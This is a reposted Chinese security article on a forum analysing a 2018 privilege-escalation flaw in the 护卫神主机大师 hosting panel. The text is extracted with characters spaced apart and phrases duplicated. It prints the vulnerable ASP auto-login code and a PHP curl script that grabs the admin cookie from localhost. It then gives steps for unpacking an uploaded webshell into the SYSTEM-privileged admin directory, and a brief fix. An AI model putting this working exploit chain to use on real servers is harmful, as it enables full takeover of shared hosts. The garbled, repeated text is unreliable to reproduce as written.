搜索

[12834] 2018-06-16_护卫神主机大师提权漏洞利用分析

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2018-06-16_护卫神主机大师提权漏洞利用分析 护 卫 神 主 机 大 师 提 权 漏 洞 利 用 分 析 F r e e d o m   F r e e B u f   2 0 1 8 - 0 6 - 1 6 0 x 0 1   前 言 前 言 护 卫 神 护 卫 神 · 主 机 大 师 支 持 一 键 安 装 网 站 运 行 环 境 （ 主 机 大 师 支 持 一 键 安 装 网 站 运 行 环 境 （ I I S + A S P + A S P . n e t + P H P 5 . 2 - 5 . 6 + M y S Q L + F T P + 伪 静 态 伪 静 态 + P h p M y A d m i n ） ， 并 可 在 线 开 设 主 机 、 ） ， 并 可 在 线 开 设 主 机 、 S Q L   S e r v e r 和 和 M y S Q L ； ； W e b 方 式 管 理 ， 拥 有 独 立 前 台 和 后 台 面 板 。 支 方 式 管 理 ， 拥 有 独 立 前 台 和 后 台 面 板 。 支 持 持 W i n d o w s   S e r v e r   2 0 0 8 / 2 0 1 2 。 结 合 护 卫 神 。 结 合 护 卫 神 1 4 年 安 全 防 护 经 验 ， 严 格 限 制 每 个 站 点 独 立 权 限 ， 彻 底 阻 挡 跨 站 入 年 安 全 防 护 经 验 ， 严 格 限 制 每 个 站 点 独 立 权 限 ， 彻 底 阻 挡 跨 站 入 侵 。 但 这 套 系 统 真 的 像 描 述 的 那 么 安 全 么 ？ ， 由 于 某 次 安 全 测 试 遇 到 该 系 统 ， 遂 对 该 系 统 进 行 分 析 。 本 文 记 录 侵 。 但 这 套 系 统 真 的 像 描 述 的 那 么 安 全 么 ？ ， 由 于 某 次 安 全 测 试 遇 到 该 系 统 ， 遂 对 该 系 统 进 行 分 析 。 本 文 记 录 了 分 析 过 程 中 的 一 些 记 录 和 问 题 。 了 分 析 过 程 中 的 一 些 记 录 和 问 题 。 0 x 0 2   代 码 分 析 代 码 分 析 先 看 看 装 好 后 的 软 件 界 面 , 可 以 看 到 一 些 常 见 的 主 机 操 作 功 能 。 其 中 网 站 管 理 引 起 了 我 的 注 意 ， 点 开 瞅 瞅 点 开 之 后 就 直 接 进 去 了 , W T F ?
从 逻 辑 流 程 来 看 这 里 很 明 显 有 问 题 ， 撸 开 代 码 看 看 怎 么 验 证 的 。 虚 拟 主 机 管 理 系 统 运 行 在 6 5 8 8 端 口 。 且 采 用 a s p 语 言 开 发 。 程 序 路 径 为 x : H w s H o s t M a s t e r h o s t w e b 下 ， 且 默 认 为 s y s t e m 权 限 运 行 。 / a d m i n / i n d e x . a s p 代 码 乍 一 看 好 像 没 啥 问 题 ， 但 是 开 发 者 疏 忽 了 一 个 问 题 ， 第 ９ 行 判 断 来 源 i p 是 否 为 本 地 访 问 ， s t r I p 变 量 来 自 R e q u e s t . S e r v e r V a r i a b l e s ( “ l o c a l _ a d d r ” )   ， 如 果 为 本 地 访 问 且 s t r A u t o = a u t o l o g i n 则 直 接 登 入 系 统 ， 无 需 账 号 密 码 验 证 ， 这 就 出 现 一 个 问 题 了 ， 开 发 者 未 考 虑 内 部 用 户 是 否 合 法 ， 如 果 我 获 取 到 一 个 低 权 限 的 w e b s h e l l 、 那 就 相 当 于 获 取 到 一 个 本 地 身 份 了 。 那 么 我 就 可 以 直 接 访 问 到 虚 拟 主 机 管 理 后 台 了 。 那 么 就 可 以 为 所 欲 为 了 。 0 x 0 3   利 用 方 法 利 用 方 法 本 漏 洞 利 用 前 提 是 已 经 获 取 到 虚 拟 主 机 上 的 一 个 w e b s h e l l ， 其 次 在 通 过 以 下 脚 本 获 取 c o o k i e 即 可 进 入 虚 拟 主 机 管 理 后 台 。 < % O p t i o n   E x p l i c i t % > < ! - - # i n c l u d e   f i l e = " . . / c o n n . a s p " - - > < % D i m   s t r I p s t r I p   =   R e q u e s t . S e r v e r V a r i a b l e s ( " l o c a l _ a d d r " ) D i m   s t r A u t o s t r A u t o   =   L C a s e ( T r i m ( R e q u e s t . Q u e r y S t r i n g ( " f " ) ) ) I f   ( s t r I p   =   " : : 1 "   O r   s t r I p   =   " 1 2 7 . 0 . 0 . 1 " )   A n d   s t r A u t o   =   " a u t o l o g i n "     T h e n         ' 获 取 管 理 用 户 登 录         D i m   s q l , r s         c a l l   c o n n _ o p e n ( )         S e t   r s   =   S e r v e r . C r e a t e O b j e c t ( " A d o d b . R e c o r d s e t " )         s q l   =   " s e l e c t   t o p   1   *   f r o m   [ h u w e i s h e n _ A d m i n ] "         r s . O p e n   s q l , c o n n , 1 , 1         i f   r s . R e c o r d C o u n t   =   0   t h e n                 S e s s i o n ( " a d m i n " ) =   " a u t o l o g i n "         e l s e                 S e s s i o n ( " a d m i n " )   =   r s ( " u s e r n a m e " )         e n d   i f         r s . C l o s e         S e s s i o n . T i m e o u t   = 6 0 0         A d d L o g   S e s s i o n ( " a d m i n " ) ,   1 ,   " 控 制 台 直 接 登 录 管 理 中 心 "         R e s p o n s e . R e d i r e c t   " i n d e x . a s p " E n d   I f % >
将 该 脚 本 上 传 至 服 务 器 ， 访 问 后 即 可 获 取 到 管 理 员 c o o k i e 。 在 本 地 修 改 c o o k i e 后 即 可 进 入 到 虚 拟 主 机 管 理 后 台 。 绕 过 登 录 限 制 。 0 x 0 4   G E T S H E L L 直 接 访 问 需 要 登 录 通 过 脚 本 获 取 c o o k i e 修 改 c o o k i e 后 直 接 访 问 / a d m i n / i n d e x . a s p ， 进 入 后 台 < ? p h p f u n c t i o n   h t t p G e t ( )   {         $ u r l   =   ' [ h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 8 8 / a d m i n / i n d e x . a s p ? f = a u t o l o g i n ] ( h t t p : / / 1 2 7 . 0 . 0 . 1 : 6 5 8 8 / a d m i n / i n d e x . a s p ? f = a u t o l o g i n ) ' ;         $ c h   =   c u r l _ i n i t ( ) ;         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ U R L ,   $ u r l ) ;         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ H E A D E R ,   T R U E ) ;         / / 表 示 需 要 r e s p o n s e   h e a d e r         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ N O B O D Y ,   T R U E ) ;   / / 表 示 需 要 r e s p o n s e   b o d y         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ R E T U R N T R A N S F E R ,   T R U E ) ;         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ F O L L O W L O C A T I O N ,   F A L S E ) ;         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ A U T O R E F E R E R ,   T R U E ) ;         c u r l _ s e t o p t ( $ c h ,   C U R L O P T _ T I M E O U T ,   1 2 0 ) ;         $ r e s u l t   =   c u r l _ e x e c ( $ c h ) ;         r e t u r n   $ r e s u l t ; } e c h o   h t t p G e t ( ) ; ? >
进 入 后 台 后 点 击 网 站 列 表 ， 随 便 选 择 一 个 网 站 ， 点 击 解 压 进 入 操 作 界 面 ， 通 过 F T P 或 其 他 方 式 上 传 s h e l l 压 缩 包 ， 然 后 输 入 文 件 名 和 解 压 路 径 ， 解 压 路 径 选 择 护 卫 神 管 理 系 统 路 径 ， 一 般 为 X : H w s H o s t M a s t e r h o s t w e b   X 为 任 意 盘 符 。 在 我 这 里 普 通 网 站 目 录 和 护 卫 神 管 理 系 统 都 在 D 盘 下 ， 所 以 采 用 相 对 路 径 指 向 到 虚 拟 主 机 管 理 系 统 w e b 路 径 即 可
点 击 解 压 以 后 , s h e l l 就 躺 在 管 理 系 统 目 录 下 了 。 并 且 为 s y s t e m 权 限 。 成 功 获 取 到 高 权 身 份 0 x 0 5   总 结 总 结 该 漏 洞 利 用 场 景 较 为 鸡 肋 ， 前 提 要 求 已 经 获 取 到 该 主 机 上 的 s h e l l ， 才 可 采 用 该 方 法 进 行 提 权 。 开 发 者 在 开 发 过 程 中 不 要 对 内 部 不 要 过 于 信 任 ， 因 为 你 也 无 法 确 保 内 部 绝 对 的 安 全 。 修 复 方 案 ： 删 除 第 三 行 到 第 三 十 行 之 间 的 代 码 即 可 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： F r e e d o m ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理